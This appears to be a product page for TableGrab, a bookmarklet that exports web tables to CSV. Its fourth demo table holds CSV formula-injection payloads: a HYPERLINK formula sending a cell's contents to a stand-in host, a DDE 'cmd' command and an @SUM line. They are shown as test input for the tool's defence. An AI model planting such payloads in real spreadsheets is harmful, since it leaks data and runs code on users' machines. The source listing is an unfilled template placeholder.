Free tool · No install · Works everywhere

Stop retyping tables off the web.

TableGrab turns any table on any web page into a clean, Excel-ready CSV in one click. It handles the things that break copy and paste: merged cells, hidden columns, footnote markers, currency symbols and numbers stored as text.

One file. No extension, no account, no network calls. The whole thing runs inside your browser tab and nothing about the page you are on leaves your machine. The source is right here on this page, unminified, so you can read every line before you trust it.

Install it in ten seconds

A bookmarklet is just a bookmark whose address is a small program. Your IT department does not need to approve anything, because there is nothing to approve.

Grab Table

Drag this button up to your bookmarks bar. Do not click it here.

  1. Show your bookmarks bar if it is hidden. Ctrl+Shift+B on Windows, Cmd+Shift+B on Mac.
  2. Drag the Grab Table button onto that bar.
  3. Go to any page with a table. Click the bookmark. Every table gets outlined with a CSV and a Copy button.
  4. Press Esc when you are done, or click the bookmark again to close it.

If dragging does not work (some managed browsers block it), create a new bookmark by hand, name it anything, and paste the code below into the URL field.

Show the bookmarklet code

Try it on these four

Every table below is deliberately hostile. Each one is a real pattern that makes a plain copy and paste come out wrong. Click your new bookmark and export them.

1. The financial report Merged cells + hidden column

Two header rows, a region label spanning three rows, a column the report author hid from the public view, negatives in accounting parentheses, a European number format, and footnote markers glued to the labels. Copy and paste turns this into a staircase.

Q2 Regional Performance
Region Segment Revenue1 Net change Internal margin
Q1 Q2
North America Enterprise $1,284,900 $1,406,220 121,320 38.4%
Mid‑market $612,455 $570,275 (42,180) 29.1%
Public sector2 $188,000 $204,500 16,500 22.7%
EMEA Enterprise 1.284.900,50 1.402.117,80 117.217,30 35.9%
Mid‑market 402.118,00 388.940,25 (13.177,75) 26.8%
TEMPLATE_ROWDO_NOT_EXPORT0000

1. Recognized revenue, net of refunds. 2. Includes two contracts pending signature.

2. The CMS export Line breaks inside cells

Addresses split across lines with <br>, non-breaking spaces for alignment, links inside cells, and a units column with a real superscript exponent that must survive. Copy and paste explodes the multi-line cells into extra rows.

Approved facilities vendors
VendorSite addressCoverageRateContact
Brightline Facilities* 4120 Harbour Way
Suite 300
Baltimore, MD 21230
1,850 m2 per visit $3,450.00 n.osei@example.com
Cardinal Mechanical 77 Rivermill Road
Building C
Wilmington, DE 19801
940 m2 per visit $1,880.00 dispatch@example.com
Halloran & Pike 1900 Beaumont Pike
Wilmington, DE 19807
2,400 m2 per visit $4,120.00 contracts@example.com

* Master services agreement expires in November.

3. The dashboard grid Not an HTML table at all

Modern data grids are stacks of div elements with ARIA roles. There is no <table> here, which is why most table scrapers see nothing. One column is toggled off, exactly like a column chooser would do it.

Ticket
Account
Priority
Age (days)
Assigned rep
INC-40218
Ardenwood Health
P1
6
R. Castellanos
INC-40233
Meridian Freight
P2
14
T. Abernathy
INC-40251
Pinehurst Municipal
P3
27
R. Castellanos

4. The untrusted export Formula injection

A table on a web page is input from a stranger. If a cell starts with =, +, @ or a tab, most spreadsheets will happily execute it when the file is opened. TableGrab prefixes those cells with an apostrophe so they land as text, while genuine negative numbers stay numeric.

Marketplace payout report
SellerReferenceAdjustmentPayout
Northgate Supply =HYPERLINK("http://collect.example/log?d="&A1,"View invoice") -1,250.00 $18,410.00
Vallecourt Trading +1+cmd|'/c calc'!A0 0.00 $7,905.50
Okonjo Logistics @SUM(1+9)*9 -84.20 $2,338.75

What it is actually doing

Nine decisions separate a usable CSV from a mess you have to clean by hand. This is all of them.

01

Merged cells get filled

Rowspan and colspan are expanded into a true rectangle and the merged value is repeated, so the result can go straight into a pivot table.

02

Hidden data stays hidden

Rows, cells and column groups hidden by CSS are dropped, including zero-width columns. You export what you can see. A checkbox turns this off when you want everything.

03

Footnotes come off the labels

A superscript at the end of a cell is treated as a footnote marker and removed. One that has text after it is treated as an exponent and kept.

04

Line breaks become spaces

Multi-line cells collapse to one clean value instead of blowing up into extra rows. Non-breaking spaces and zero-width characters are stripped.

05

Numbers arrive as numbers

Currency symbols and thousands separators are removed, accounting parentheses become a minus sign, and European decimal commas are converted.

06

Formula injection is blocked

Cells starting with an equals sign, plus, at sign or tab are quoted as text. This is a real attack against anyone who opens a downloaded CSV.

07

Excel opens it clean

RFC 4180 quoting, CRLF line endings and a UTF-8 byte order mark, so accented characters do not turn into question marks.

08

ARIA grids count as tables

Dashboard grids built out of div elements are read through their ARIA roles, so the tool works on software that never emits a table tag.

09

Nothing leaves the tab

No fetch, no XHR, no analytics, no remote script. The entire program is inside the bookmark, which is why you can read it before you trust it.

Where it fails

Any tool that only tells you what it does well is selling you something. Here is the honest list.

Read the source

You are being asked to put a program in your browser. You should be able to read it first. This is the whole thing, annotated, before minification.

Show the annotated source ({{SRCLINES}} lines)
{{SOURCE}}